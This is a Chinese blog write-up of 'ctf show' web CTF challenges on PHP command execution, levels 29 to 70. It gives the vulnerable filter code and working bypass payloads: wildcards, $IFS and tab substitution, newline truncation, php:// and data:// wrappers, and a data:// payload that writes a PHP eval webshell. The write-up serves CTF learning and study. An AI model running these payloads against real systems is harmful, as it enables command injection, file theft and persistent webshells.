微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

ctf show--web 入门 命令执行篇部分题解

最近和朋友一起入了ctf show的坑,在这里记录一下刷题过程以及从大佬那里学到的姿势。

1

命令执行

web29(通配符)

需要得到flag.PHP里的内容,但是flag被过滤了。

这题考察的知识点是通配符,这篇博客有具体的介绍:通配符和正则的区别

例如构造: ?c=system('cat f*');

*可以匹配 0 或多个字符?可以匹配任意一个字符

cat f*就可以打开当前目录下所有f开头的文件

然后查看源码得到flag

web30(反引号执行系统命令)

这题过滤了flag、systemPHP三个字符串,上一题的payload就不适用了。

可以利用反引号执行系统命令,如:

?c=echo `cat f*`;
?c=echo `cat f???????`; 

web31

这题过滤的更多(包括空格):

<?PHP
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我是想不出有什么好用的办法了,参考hint和大佬的博客payload1:

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

其中第二个姿势的解析:
①:print_r(scandir(dirname(__FILE__)));查看当前目录下文件

在这里插入图片描述

②:print_r(next(array_reverse(scandir(dirname(__FILE__))))); 找到flag.PHP
③:highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));最后高亮显示

payload2:
这里的姿势正常一些,都是针对过滤的绕过(师傅们tql)。

cat被过滤时

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

空格被过滤时

1.	${IFS}替换
2.	$IFS$1替换
3.	${IFS替换
4.	%20替换
5.	<和<>重定向符替换
6.	%09替换

7.  拼接(很强)  如:?ip=1;a=g;cat$IFS$1fla$a.PHP;   (flag被过滤时)

大佬们的姿势:

?c=eval($_GET[1]);&1=system('nl flag.PHP');
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`必须加转义字符
?c=echo(`more%09f*`);

web32

在31题的基础上又过滤了

` ; echo (

分号可以用?>绕过,括号用""绕过,再配合$和伪协议的姿势:

?c=include"$_GET[1]"?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP

试了一下发现不带这个双引号也行:

?c=include$_GET[1]?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP

执行后得到一串base64密文,解码得到flag

web33-36

33题把"也过滤了
34题又多过滤了一个:
35题又过滤了=<
可以一把梭:

?c=include$_GET[1]?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP

36题多过滤了/和数字,把1换成一个字母就行。

web37(data伪协议)

<?PHP

//flag in flag.PHP
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag,还进行了include文件包含,使用data伪协议。

1,写入一句话:

?c=data:text/plain,<?PHP fputs(fopen("shell.PHP","w"),"<?PHP eval(\$_POST['hack']);?>")?>

然后蚁剑连接即可(https://url/shell.PHP)
2,读取

?c=data:text/plain,<?PHP system('cat f*')?> #过滤了flag,这样构造相当于直接读取了flag.PHP

web38

这题把flag、file、PHP都过滤了,需要在37的姿势上变化一下。

(base64加密后)

data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

查看源码得到flag

web39

过滤了flag,限制了后缀(.PHP)
姿势和37一样

?c=data:text/plain,<?PHP system('cat f*')?>

web40

好家伙,直接过滤一堆

<?PHP
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }      
}else{
    highlight_file(__FILE__);
}

可以使用无参数函数进行文件读取,payload同31题。

web41(未解出)

web42

<?PHP

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这题可以直接

?c=ls;
?c=cat flag.PHP;

群主给的提示cat flag.PHP%0a,用%0a让那后面那串东西无效。

web43

过滤了;cat

<?PHP

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这题其实姿势挺多的,被过滤的cat可以用很多其他命令替换,末尾再%0a截断。

?c=nl flag.PHP%0a
?c=tac flag.PHP%0a
?c=more flag.PHP%0a

web44

在web43的基础上多过滤了一个flag,只要在之前的payload基础上使用通配符即可。

?c=nl f*%0a
?c=tac f*%0a
?c=more f*%0a

web45

又多过滤了一个空格,参考web31中空格的绕过方法,把空格替换即可。

web46

过滤了;catflag空格数字$*
payload:

?c=nl%09fla?????%0a

web47-49

payload

?c=nl%09fla?????%0a

web50

<?PHP

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%09通配符不好使了,用重定向<<>替换%09,用"" '' \绕过对flag的限制,也可以用 ||代替%0a(||认前面前面执行成功就不执行后面)。

?c=nl<>fla''g.PHP%0a
?c=nl<>fla""g.PHP%0a
?c=nl<fla''g.PHP%0a
?c=nl<>fla''g.PHP||
?c=nl<>fla\g.PHP%0a

web51

payload同web50

web52

很多替换空格的字符被过滤了,但是$没有被过滤,所以在web50的基础上把空格换成$IFS即可

<?PHP

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web53

少了一些限制,不需要在末尾进行命令分割了。

web54

<?PHP
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

正则的过滤更加严格了

grep

grep test *file
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

payload1:

?c=grep${IFS}'{'${IFS}fl???PHP #查找含有{的文件,并打印出包含 { 的这一行

bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。

payload2:

/bin/?at${IFS}f???????

web55-56

不会做,参考大佬博客
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067

web57

这题是让我们在限制条件之下构造36这个数字。

<?PHP

//flag in 36.PHP
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".PHP");
    }
}else{
    highlight_file(__FILE__);
}

这里是学习的Y4大佬的思路,利用$(( ))与整数运算

$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag

群主还给了另一种姿势:

?c=grep${IFS}'fla'${IFS}fla??PHP

web58-65(绕过disable_functions系列)

从58开始是绕过disable_functions系列

通用payload:

c=echo highlight_file('flag.PHP');
c=show_source("flag.PHP");
c=highlight_file("flag.PHP");

还可以用web31中的payload1里的姿势

web66-67

首先扫目录(web67中print_r被禁了,换成var_dump),发现有flag.txt,然后:

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web68-70

show_sourcehighlight_filefile_get_contents等文本显示代码基本都被禁了,所以换成includerequire这些文件包含的,payload:

c=include('/flag.txt')
c=require_once('/flag.txt');

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐